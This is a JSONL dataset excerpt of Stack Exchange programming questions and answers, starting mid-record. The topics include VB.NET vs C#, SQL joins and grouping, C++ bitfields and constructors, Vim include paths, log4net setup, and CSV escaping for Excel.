"difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.880994"}
{"id": "hf_b02f42de4bd8", "question": "<p>I have just moved job and gone from VB 6 to VB.Net and found the learning jump fairly steep, have more a problem with the object / conceptual side of things .. but getting there now ... but as I was a assembler / C++ 10/15 years ago and was considering learning C++/C# .Net (XNA games library calls my name) but not sure if it would hinder my VB.NET learning .... or should I just get myself certified</p>\n", "question_body": "", "answer": "To me the biggest obstacle for .NET is learn what is available in the framework. Therefore, if you find it easier to code in C# it will mean you only struggle with one thing instead of two. Once you know the framework it's just syntax really as 95% of the stuff you can do with C# can be done with VB.\nAlso, C# will force you to write code in a more object orientated manner as you can't fall back to coding in a VB6 style.\n'\nyield return\n' is an example of something that doesn't have an equivalent in VB9 (there are rumours this is being added for VBX though).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.907018"}
{"id": "hf_8f560da9b1bd", "question": "<p>I'm trying to figure out how to execute a custom query with Castle ActiveRecord. </p>\n\n<p>I was able to run simple query that returns my entity, but what I really need is the query like that below (with custom field set):</p>\n\n<p><em>select count(1) as cnt, data from workstationevent where serverdatetime >= :minDate and serverdatetime &lt; :maxDate and userId = 1 group by data having count(1) > :threshold</em></p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "In this case what you want is\n```\nHqlBasedQuery\n```\n. Your query will be a projection, so what you'll get back will be an\n```\nArrayList\n```\nof tuples containing the results (the content of each element of the ArrayList will depend on the query, but for more than one value will be\n```\nobject[]\n```\n).\n```\n```\nHqlBasedQuery query = new HqlBasedQuery(typeof(WorkStationEvent),\n    \"select count(1) as cnt, data from workstationevent where \n     serverdatetime >= :minDate and serverdatetime < :maxDate \n     and userId = 1 group by data having count(1) > :threshold\");\n\nvar results = \n    (ArrayList)ActiveRecordMediator.ExecuteQuery(query);\nforeach(object[] tuple in results)\n{\n    int count = (int)tuple[0]; // = cnt\n    string data = (string)tuple[1]; // = data (assuming this is a string)\n\n    // do something here with these results\n}\n```\n```\nYou can create an anonymous type to hold the results in a more meaningful fashion. For example:\n```\n```\nvar results = from summary in \n    (ArrayList)ActiveRecordMediator.ExecuteQuery(query)\n    select new {\n        Count = (int)summary[0], Data = (string)summary[1]\n    };\n```\n```\nNow results will contain a collection of anonymous types with properties\n```\nCount\n```\nand\n```\nData\n```\n. Or indeed you could create your own summary type and populate it out this way too.\nActiveRecord also has the\n```\nProjectionQuery\n```\nwhich does much the same thing but can only return actual mapped properties rather than aggregates or functions as you can with HQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.981465"}
{"id": "hf_b9f888a32301", "question": "<p>Assuming some background in mathematics,  how would you give a general overview of computational complexity theory to the naive?</p>\n\n<p>I am looking for an explanation of the P = NP question.  What is P?  What is NP? What is a NP-Hard?</p>\n\n<p>Sometimes Wikipedia is written as if the reader already understands all concepts involved.</p>\n", "question_body": "", "answer": "Unfortunately, the best two books I am aware of (\nGarey and Johnson\nand\nHopcroft and Ullman\n) both start at the level of graduate proof-oriented mathematics.  This is almost certainly necessary, as the whole issue is very easy to misunderstand or mischaracterize.  Jeff\nnearly got his ears chewed off\nwhen he attempted to approach the matter in too folksy/jokey a tone.\nPerhaps the best way is to simply do a lot of hands-on work with big-O notation\nusing lots of examples and exercises\n.  See also\nthis answer\n.  Note, however, that this is not quite the same thing: individual algorithms can be described by asymptotes, but saying that a\nproblem\nis of a certain complexity is a statement about\nevery possible algorithm\nfor it.  This is why the proofs are so complicated!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.019952"}
{"id": "hf_252f17c29a5e", "question": "<p>Two snippets of MySQL:     </p>\n\n<pre><code>SELECT * FROM annoyingly_long_left_hand_table \n    LEFT JOIN annoyingly_long_right_hand_table \n    ON annoyingly_long_left_hand_table.id = annoyingly_long_right_hand_table.id;\n</code></pre>\n\n<p>vs</p>\n\n<pre><code>SELECT * FROM annoyingly_long_left_hand_table \n    LEFT JOIN annoyingly_long_right_hand_table \n    USING (id);\n</code></pre>\n\n<p>Given that both tables have an <code>id</code> field, is there any disadvantage to using the second version. It isn't just laziness - the version with USING seems far clearer to me.</p>\n\n<p>(Please don't mention aliasing - I want to know if there is any reason to favour one conditional structure over the other)</p>\n", "question_body": "", "answer": "There is a small functional difference between the two, in that instead of getting 2 ID columns, you only get one.\nSELECT * FROM foo JOIN bar ON ( foo.id == bar.id )\nid , fooname, id, barname\nSELECT * FROM foo JOIN bar USING ( id )\nid, fooname, barname\nSo there are at least some additional knowledge requirements for users utilising this syntax,\nhttp://dev.mysql.com/doc/refman/5.0/en/join.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.095912"}
{"id": "hf_93927a35c738", "question": "<p>How do I tell the Vim editor about my include files path so that it can auto complete the function names when I press <kbd>CTRL</kbd>+<kbd>N</kbd>?</p>\n\n<p>For example, I have a C program like below:</p>\n\n<pre><code>#include&lt;stdio.h&gt;\nint main()\n{\n    sca // here I press control+N, it does not complete to scanf\n}\n</code></pre>\n", "question_body": "", "answer": "In your\n```\n.vimrc\n```\n, add the paths to your\n```\n.vimrc\n```\n:\n```\n```\nset path+=/usr/include/**\nset path+=/my_include_dir/include\nset path+=/my_include_dir/srclib/apr/**\nset path+=/my_other_include_dir/srclib/apr-util/**\n\n** means all sub-directories.\n*  means all contained directories\n.  means all files in the directory of the found file\n+= means prepend to existing path (iirc)\n```\n```\nYou can check the paths as well by opening your file and then entering\n```\n```\n:checkpath\n```\n```\nThis will give you a list of all included files that are missing. N.B. It doesn't seem to handle preprocessor directives, so you will get some false positives. Entering\n```\n```\n:checkpath!\n```\n```\nWill give a complete list of found and missing include files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.145615"}
{"id": "hf_5de85d61df2c", "question": "<p>I have a number of databases on a Windows 2000 Server running the 32 bit version of SQL Server 2000. I need to transfer all the data and settings to a new server running the 64 bit version of SQL 2008 on Windows 2003 64 bit.</p>\n\n<p>Is this as simple as backing up the databases and restoring to the new server. Will this work with the system databases (master, model, msdb) as well? If not, is there a way to automate the process of moving across the user accounts and permissions?</p>\n\n<p>Is anybody aware of any other gotchas?</p>\n\n<p>Many thanks for any help.</p>\n\n<p>[EDIT] I've successfully tested an upgrade to SQL2008 32-bit, I'm mostly concerned with any differences in the 64-bit version as I don't have a 64 bit server I can test on at the moment e.g. I know you can't restore a SQL2000 master database to 2008; can you restore a SQL2008 32bit master to SQL2008 64bit? Downtime during the migration is not a problem.</p>\n", "question_body": "", "answer": "To transfer logins, you should be able to use the 'Transfer Logins Task' described in Books Online\nhere\n.\nRoss Mistry has published a few\narticles\non SQL Server 2008 Installation Strategies and Best Practices. Also this\ndocument\n, although directed at specific hardware, contains useful info.\nEDIT: Have you looked at the\nMicrosoft SQL Server 2008 Upgrade Advisor\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.171141"}
{"id": "hf_6c8c314c18ad", "question": "<p>As a <a href=\"http://en.wikipedia.org/wiki/C_Sharp_%28programming_language%29\" rel=\"noreferrer\">C#</a> developer I'm used to running through constructors:</p>\n\n\n\n<pre class=\"lang-cs prettyprint-override\"><code>class Test {\n    public Test() {\n        DoSomething();\n    }\n\n    public Test(int count) : this() {\n        DoSomethingWithCount(count);\n    }\n\n    public Test(int count, string name) : this(count) {\n        DoSomethingWithName(name);\n    }\n}\n</code></pre>\n\n<p>Is there a way to do this in C++?</p>\n\n<p>I tried calling the Class name and using the 'this' keyword, but both fail.</p>\n", "question_body": "", "answer": "If I understand your question correctly, you're asking if you can call multiple constructors in C++?\nIf that's what you're looking for, then no - that is not possible.\nYou certainly can have multiple constructors, each with unique argument signatures, and then call the one you want when you instantiate a new object.\nYou can even have one constructor with defaulted arguments on the end.\nBut you may not have multiple constructors, and then call each of them separately.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.196008"}
{"id": "hf_a5d4f2962a1a", "question": "<p>I am working on a C++ project and I noticed that we have a number of warnings about unused parameters.</p>\n\n<p>What effect could it have if these warnings are ignored?</p>\n", "question_body": "", "answer": "None. except [EDIT]: as others have pointed out, You could have an unassigned output parameter.\nYou should clean them up, because on many occasions I have seen developers ignore important warnings that were 'hidden' in amongst a large number of warnings, and they were so used to seeing warnings they never paid any attention to them. I try to have zero warnings at all times, and set compiler warnings to the maximum level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.220967"}
{"id": "hf_94399df36654", "question": "<p>Been thinking, what's the difference between declaring a variable with [] or * ? The way I see it:</p>\n\n<pre><code>char *str = new char[100];\nchar str2[] = \"Hi world!\";\n</code></pre>\n\n<p>.. should be the main difference, though Im unsure if you can do something like</p>\n\n<pre><code>char *str = \"Hi all\";\n</code></pre>\n\n<p>.. since the pointer should the reference to a static member, which I don't know if it can?</p>\n\n<p>Anyways, what's really bugging me is knowing the difference between:</p>\n\n<pre><code>void upperCaseString(char *_str) {};\nvoid upperCaseString(char _str[]) {};\n</code></pre>\n\n<p>So, would be much appreciated if anyone could tell me the difference? I have a hunch that both might be compiled down the same, except in some special cases?</p>\n\n<p>Ty</p>\n", "question_body": "", "answer": "The first option dynamically allocates 100 bytes.\nThe second option statically allocates 10 bytes (9 for the string + nul character).\nYour third example shouldn't work - you're trying to statically-fill a dynamic item.\nAs to the\n```\nupperCaseString()\n```\nquestion, once the C-string has been allocated and defined, you can iterate through it either by array indexing or by pointer notation, because an array is really just a convenient way to wrap pointer arithmetic in C.\n(That's the simple answer - I expect someone else will have the authoritative, complicated answer out of the spec :))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.245495"}
{"id": "hf_ffae29d868a0", "question": "<p>Is it necessary to pay $99 before I can watch the video to submit an iPhone application to the App Store, or it is available free of cost anywhere?</p>\n", "question_body": "", "answer": "I assume you are referring to the $99 fee to register as an iPhone developer?\nEven if you can find a copy of the video, you would still have to pay the fee in order to get your application hosted on the App Store. Apple keeps a fairly tight handle on all of this stuff, so they require all developers to register if they want to sell software in the App Store. Apple will also have the final say on wether or not your software can be sold.\nBottom line: if you intend to sell software through the App Store, you will have to pay Apple the $99 fee.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.270904"}
{"id": "hf_8ffb5c52de31", "question": "<p>I'm starting up a personal project to develop some open source software.  I want to use Scrum as the PM process on this (as I like the Product Backlog, prioritisation, and if I can get them, the burndowns) but it seems to me that I won't get the full value because  I can't at the outset guarantee the amount of time myself and my collaborators will be able to commit to work during a given sprint.</p>\n\n<p>I know there are other benefits that I will still get from using Scrum but are there variations or tricks and techniques I am unaware of which will enable me to get the value of things like burndown charts and timeboxed iterations?  Or am I just being too hopeful?</p>\n\n<p>TIA.</p>\n\n<p>Regs, Andrew</p>\n", "question_body": "", "answer": "In a by the book setting you won't use real time for calculation of the burndown chart but rather story points. After a few sprint you will see an average velocity and thus be able to generate a burndown chart and use this velocity for commiting to the sprint items.\nAnd I strongly disagree with\nwarrens post\non the scale-down point. The main problem I see is a strongly varying velocity between two sprints, since it is only a hobby.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.299482"}
{"id": "hf_e09322b305d7", "question": "<p>Using <strong>sc</strong> command we can query, start , stop windows services.<br>\nFor ex:  </p>\n\n<pre><code>sc query \"windows service name\"\n</code></pre>\n\n<p>The <strong>sc config</strong> command changes the configuration of the service, but I don't know how to use it.  </p>\n\n<p>Could someone tell me how we can set the username and password for any windows service?</p>\n", "question_body": "", "answer": "This works:\n```\n```\nsc.exe config \"[servicename]\" obj= \"[.\\username]\" password= \"[password]\"\n```\n```\nWhere each of the [bracketed] items are replaced with the true arguments. (Keep the quotes, but don't keep the brackets.)\nJust keep in mind that:\nThe spacing in the above example matters.\n```\nobj= \"foo\"\n```\nis correct;\n```\nobj=\"foo\"\n```\nis not.\n'.' is an alias to the local machine, you can specify a domain there (or your local computer name) if you wish.\nPasswords aren't validated until the service is started\nQuote your parameters, as above.  You can sometimes get by without quotes, but good luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.336189"}
{"id": "hf_edb4f2aa9415", "question": "<p>Can anyone point me in the right direction how to configure Visual Studio 2005 with our C++ console project how we can include a 'File Version' in the details section of the file properties.</p>\n\n<p>I've tried resource files without any luck. This is with a C++ project just for clarification, and big thank you for the guys you responded with C# suggestions.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Unless you have a good reason for your file version to be different than the version of the assembly inside, I think it is a better idea to provide the\nAssemblyVersion\nalone. If you do not specify an\nAssemblyFileVersion\n, it will automatically get the same value, so you can see your assembly's version directly in the file's properties.\nThe advantage is that you can use a wildcard and allow the version to be automatically incremented, so that every time you compile the library you get a different build and/or revision number. As far as I can tell, this trick does\nnot\nwork with\nAssemblyFileVersion\n, so you have to increment it by hand.\nOf course, all this only applies if you're writing .NET code. Are you by any chance talking about a project using unmanaged code?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.396826"}
{"id": "hf_beef9ab0ea9b", "question": "<p>I want to generate a CSV file for user to use Excel to open it.</p>\n\n<p>If I want to escape the comma in values, I can write it as \"640,480\".</p>\n\n<p>If I want to keep the leading zeros, I can use =\"001234\".</p>\n\n<p>But if I want to keep both comma and leading zeros in the value, writing as =\"001,002\" will be splitted as two columns.  It seems no solution to express the correct data.</p>\n\n<p>Is there any way to express <strong>001, 002</strong> in CSV for Excel?</p>\n", "question_body": "", "answer": "Do\n```\n```\n\"\"\"001,002\"\"\"\n```\n```\nI found this out by typing \"001,002\" and then doing save-as CSV in Excel. If this isn't exactly what you want (you don't want quotes), this might be a good way for you to find what you want.\nAnother option might be use tab-delimited text, if this is an option for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.421754"}
{"id": "hf_3432b937eb61", "question": "<p>I have a table with the following columns:</p>\n\n<pre>\n\nA   B   C\n---------\n1   10  X\n1   11  X\n2   15  X\n3   20  Y\n4   15  Y\n4   20  Y\n\n</pre>\n\n<p>I want to group the data based on the B and C columns and count the distinct values of the A column. But if there are two ore more rows where the value on the A column is the same I want to get the maximum value from the B column.</p>\n\n<p>If I do a simple group by the result would be:</p>\n\n<pre>\n\nB   C    Count\n--------------\n10  X    1\n11  X    1\n15  X    1\n20  Y    2\n15  Y    1\n\n</pre>\n\n<p>What I want is this result:</p>\n\n<pre>\n\nB   C    Count\n--------------\n11  X    1\n15  X    1\n20  Y    2\n\n</pre>\n\n<p>Is there any query that can return this result. Server is SQL Server 2005.</p>\n", "question_body": "", "answer": "Check this out. This should work in Oracle, although I haven't tested it;\n```\n```\nselect count(a), BB, CC from\n(\nselect a, max(B) BB, Max(C) CC\nfrom yourtable\ngroup by a\n)\ngroup by BB,CC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.457476"}
{"id": "hf_db436293cce7", "question": "<p>Is either:</p>\n\n<pre><code>&lt;a href=\"#\"&gt;&lt;h1&gt;text here&lt;/h1&gt;&lt;/a&gt;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>&lt;h1&gt;&lt;a href=\"#\"&gt;text here&lt;/a&gt;&lt;/h1&gt;\n</code></pre>\n\n<p>\"correct\". Is there any benefit of using the first one, it seems more logical to me. Perhaps from an SEO point?</p>\n", "question_body": "", "answer": "```\n```\n<h1><a href=\"#\">text here</a></h1>\n```\n```\nis correct, as HTML does not allow a block element (\n```\n<h1>\n```\n) within an inline element (\n```\n<a>\n```\n) (\nsrc\n). your first example will fail\nvalidation\n.\nGenerally, block-level elements may contain inline elements and other block-level elements. Generally, inline elements may contain only data and other inline elements. Inherent in this structural distinction is the idea that block elements create \"larger\" structures than inline elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.516799"}
{"id": "hf_7a652bf282fb", "question": "<p>I'm trying to create a very simple form in an Access database. Whenever I drag a textbox on the form, a label gets created with it. I want to be able to move the label without moving the textbox,but whenever I try to do that, the textbox moves with it. Its like they're linked with each other.\nIs there a way to separate them from each other so that they can be moved separately?</p>\n", "question_body": "", "answer": "Yes, but you are better off looking for the small square black box that appears on the top left corner of each control when you click the textbox or label. This box will allow you to drag each control independently. Don't forget Format->Align (Left,Right,Top,Bottom) it is probably more useful for tidying up controls than anything else.\nYou can separate the label from its parent control by deleting the label, clicking the detail section to ensure that no controls are selected, and pasting, but I would advise against it. You can do a number of useful things with labels that are related to controls and one of them is move the two together - this is useful when you have the form tidied. Another is to find the parent of the control, which is useful when using VBA to change controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.540909"}
{"id": "hf_a7294802fb16", "question": "<p>I've just done a test with bitfields, and the results are surprising me. </p>\n\n<pre><code>class test1 {\npublic:\n    bool test_a:1;\n    bool test_b:1;\n    bool test_c:1;\n    bool test_d:1;\n    bool test_e:1;\n    bool test_f:1;\n    bool test_g:1;\n    bool test_h:1;\n};\n\nclass test2 {\npublic:\n    int test_a:1;\n    int test_b:1;\n    int test_c:1;\n    int test_d:1;\n    int test_e:1;\n    int test_f:1;\n    int test_g:1;\n    int test_h:1;\n};\n\nclass test3 {\npublic:\n    int test_a:1;\n    bool test_b:1;\n    int test_c:1;\n    bool test_d:1;\n    int test_e:1;\n    bool test_f:1;\n    int test_g:1;\n    bool test_h:1;\n};\n</code></pre>\n\n<p>The results were:-</p>\n\n<pre><code>sizeof(test1) = 1   // This is what I'd expect. 8 bits in a byte\nsizeof(test2) = 4   // Reasonable. Maybe padded out to the size of an int.\nsizeof(test3) = 16  // What???\n</code></pre>\n\n<p>Is this what you'd expect, or a compiler bug? (Codegear C++ Builder 2007, btw...)</p>\n", "question_body": "", "answer": "your compiler has arranged all of the members of test3 on integer size boundaries. Once a block has been used for a given type (integer bit-field, or boolean bit-field), the compiler does not allocate any further bit fields of a different type until the next boundary.\nI doubt it is a bug. It probably has something to do with the underlying architecture of your system.\nedit:\nc++ compilers will allocate bit-fields in memory as follows: several consecutive bit-field members\nof the same type\nwill be allocated sequentially. As soon as a new type needs to be allocated, it will be aligned with the beginning of the next logical memory block. The next logical block will depend on your processor. Some processors can align to 8-bit boundaries, while others can only align to 16-bit boundaries.\nIn your test3, each member is of a different type than the one before it, so the memory allocation will be 8 * (the minimum logical block size on your system). In your case, the minimum block size is two bytes (16-bit), so the size of test3 is 8*2 = 16.\nOn a system that can allocate 8-bit blocks, I would expect the size to be 8.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.565034"}
{"id": "hf_03e5c4f822e7", "question": "<p>I know this may be simple but being C++ I doubt it will be. How do I convert a string in the form 01/01/2008 to a date so I can manipulate it? I am happy to break the string into the day month year constituents. Also happy if solution is Windows only.</p>\n", "question_body": "", "answer": "```\n```\n#include <time.h>\nchar *strptime(const char *buf, const char *format, struct tm *tm);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.613915"}
{"id": "hf_e387ec44acff", "question": "<p>If I type the command:</p>\n\n<pre><code>mvn dependency:list\n</code></pre>\n\n<p>The <a href=\"http://maven.apache.org/plugins/maven-dependency-plugin/\" rel=\"nofollow noreferrer\">docs</a> suggest that I'll get a list of my project's dependencies. Instead though, I get this:</p>\n\n<pre><code>[INFO] Searching repository for plugin with prefix: 'dependency'.\n[INFO] -----------------------------------------------------------\n[ERROR] BUILD FAILURE\n[INFO] -----------------------------------------------------------\n[INFO] Required goal not found: dependency:list\n</code></pre>\n\n<p>Call me a hopeful naive, but I had hoped maven would download any plugins it didn't have. Does anyone know what might be leading to this error? Does anyone know where maven stores information about what plugins it has installed, and where they're stored in the maven repository?</p>\n", "question_body": "", "answer": "Have you tried\n```\nmvn -cpu dependency:list\n```\n(or:\n```\nmvn --check-plugin-updates dependency:list\n```\n)? Probably, you have older version of dependency plugin which does not have goal\n```\nlist\n```\nIf this does not help, try upgrading Maven. Since 2.0.9 default versions are provided by the Super POM for most important plugins (dependency plug-in included), so 2.0 version will be downloaded (which has\n```\nlist\n```\ngoal).\nOr you can try removing the cached version of the plug-in from the repository  (\n```\n~/.m2/repository/org/apache/maven/plugins/maven-dependency-plugin/\n```\n, where\n```\n~\n```\nis the user home directory).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.686592"}
{"id": "hf_e69b949781a9", "question": "<p>How to (programmatically, without xml config) configure multiple loggers with Log4Net?\nI need them to write to different files.</p>\n", "question_body": "", "answer": "This thread at the log4net Dashboard details an approach\n.\nTo summarize a little, hopefully without ripping off too much code:\n```\n```\nusing log4net;\nusing log4net.Appender;\nusing log4net.Layout;\nusing log4net.Repository.Hierarchy;\n\n// Set the level for a named logger\npublic static void SetLevel(string loggerName, string levelName)\n{\n    ILog log = LogManager.GetLogger(loggerName);\n    Logger l = (Logger)log.Logger;\n\n    l.Level = l.Hierarchy.LevelMap[levelName];\n    }\n\n// Add an appender to a logger\npublic static void AddAppender(string loggerName, IAppender appender)\n{\n    ILog log = LogManager.GetLogger(loggerName);\n    Logger l = (Logger)log.Logger;\n\n    l.AddAppender(appender);\n}\n\n// Create a new file appender\npublic static IAppender CreateFileAppender(string name, string fileName)\n{\n    FileAppender appender = new\n        FileAppender();\n    appender.Name = name;\n    appender.File = fileName;\n    appender.AppendToFile = true;\n\n    PatternLayout layout = new PatternLayout();\n    layout.ConversionPattern = \"%d [%t] %-5p %c [%x] - %m%n\";\n    layout.ActivateOptions();\n\n    appender.Layout = layout;\n    appender.ActivateOptions();\n\n    return appender;\n}\n\n// In order to set the level for a logger and add an appender reference you\n// can then use the following calls:\nSetLevel(\"Log4net.MainForm\", \"ALL\");\nAddAppender(\"Log4net.MainForm\", CreateFileAppender(\"appenderName\", \"fileName.log\"));\n\n// repeat as desired\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.711521"}
{"id": "hf_1d8548e950f8", "question": "<p>I am using tinyMCE and, rather annoyingly, it replaces all of my apostrophes with their HTML numeric equivalent. Now most of the time this isn't a problem but for some reason I am having a problem storing the apostrophe replacement. So i have to search through the string and replace them all. Any help would be much appreciated</p>\n", "question_body": "", "answer": "did you try:\n```\n```\n$string = str_replace(\"&#39;\", \"<replacement>\", $string);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.734807"}
{"id": "hf_86fca766239d", "question": "<p>I'm currently working on a pet project and need to do C++ development on Windows, Mac, Linux, and Solaris, and I've narrowed it down to Netbeans and Eclipse, so I was wonderig which is more solid as a C++ editor. I just need solid editing, good autocompletion for templated code ad external libraries, and project file management, the build tools are external, so thats irrelevant here, for my comparison.</p>\n\n<p>Thus which is a better choice?</p>\n\n<p>Note: I know I should be using emacs or vim, but the issue is, my theory at least, that I'm left handed, so I use my right side (design,creativity) of the brain more than the left side (logic, memory), so I just simply cannot use emacs or vim, my brain simply isn't compatible, I tried them many times too, even used emacs for a few months but it drove me crazy...</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I'm using Netbeans from time to time on Solaris and the latest (6.5) version is pretty neat. It has all the features that you need, perhaps autocompletion could work better, but I have a really bad code base so it might be the result of it. Keep in mind that you need strong machine for that, if it's your PC it's ok but Netbeans on a remote server (like I tried) is really slow unless you have a decent hardware. There are few simple refactorings for C++ with nice preview option, definitely worth a try.\nYou can get a whole Sun C++ pack from here:\nhttp://developers.sun.com/sunstudio/downloads/express/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.759152"}
{"id": "hf_b9d39f467490", "question": "<p>What is the difference between web reference and service reference in WCF?\nWhich is preferable in WCF?</p>\n", "question_body": "", "answer": "The service reference is the newer interface for adding references to all manner of WCF services (they may not be web services) whereas Web reference is specifically concerned with ASMX web references.\nYou can access web references via the advanced options in add service reference (if I recall correctly).\nI'd use service reference because as I understand it, it's the newer mechanism of the two.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.782176"}
{"id": "hf_52d4e43ca47f", "question": "<p>I have to delete some rows from a data table. I've heard that it is not ok to change a collection while iterating through it. So instead of a for loop in which I check if a row meets the demands for deletion and then mark it as deleted, I should first iterate through the data table and add all of the rows in a list, then iterate through the list and mark the rows for deletions. What are the reasons for this, and what alternatives do I have (instead of using the rows list I mean)?.</p>\n", "question_body": "", "answer": "You can remove elements from a collection if you use a simple\n```\nfor\n```\nloop.\nTake a look at this example:\n```\n```\nvar l = new List<int>();\n\n        l.Add(0);\n        l.Add(1);\n        l.Add(2);\n        l.Add(3);\n        l.Add(4);\n        l.Add(5);\n        l.Add(6);\n\n        for (int i = 0; i < l.Count; i++)\n        {\n            if (l[i] % 2 == 0)\n            {\n                l.RemoveAt(i);\n                i--;\n            }\n        }\n\n        foreach (var i in l)\n        {\n            Console.WriteLine(i);\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:11.832408"}
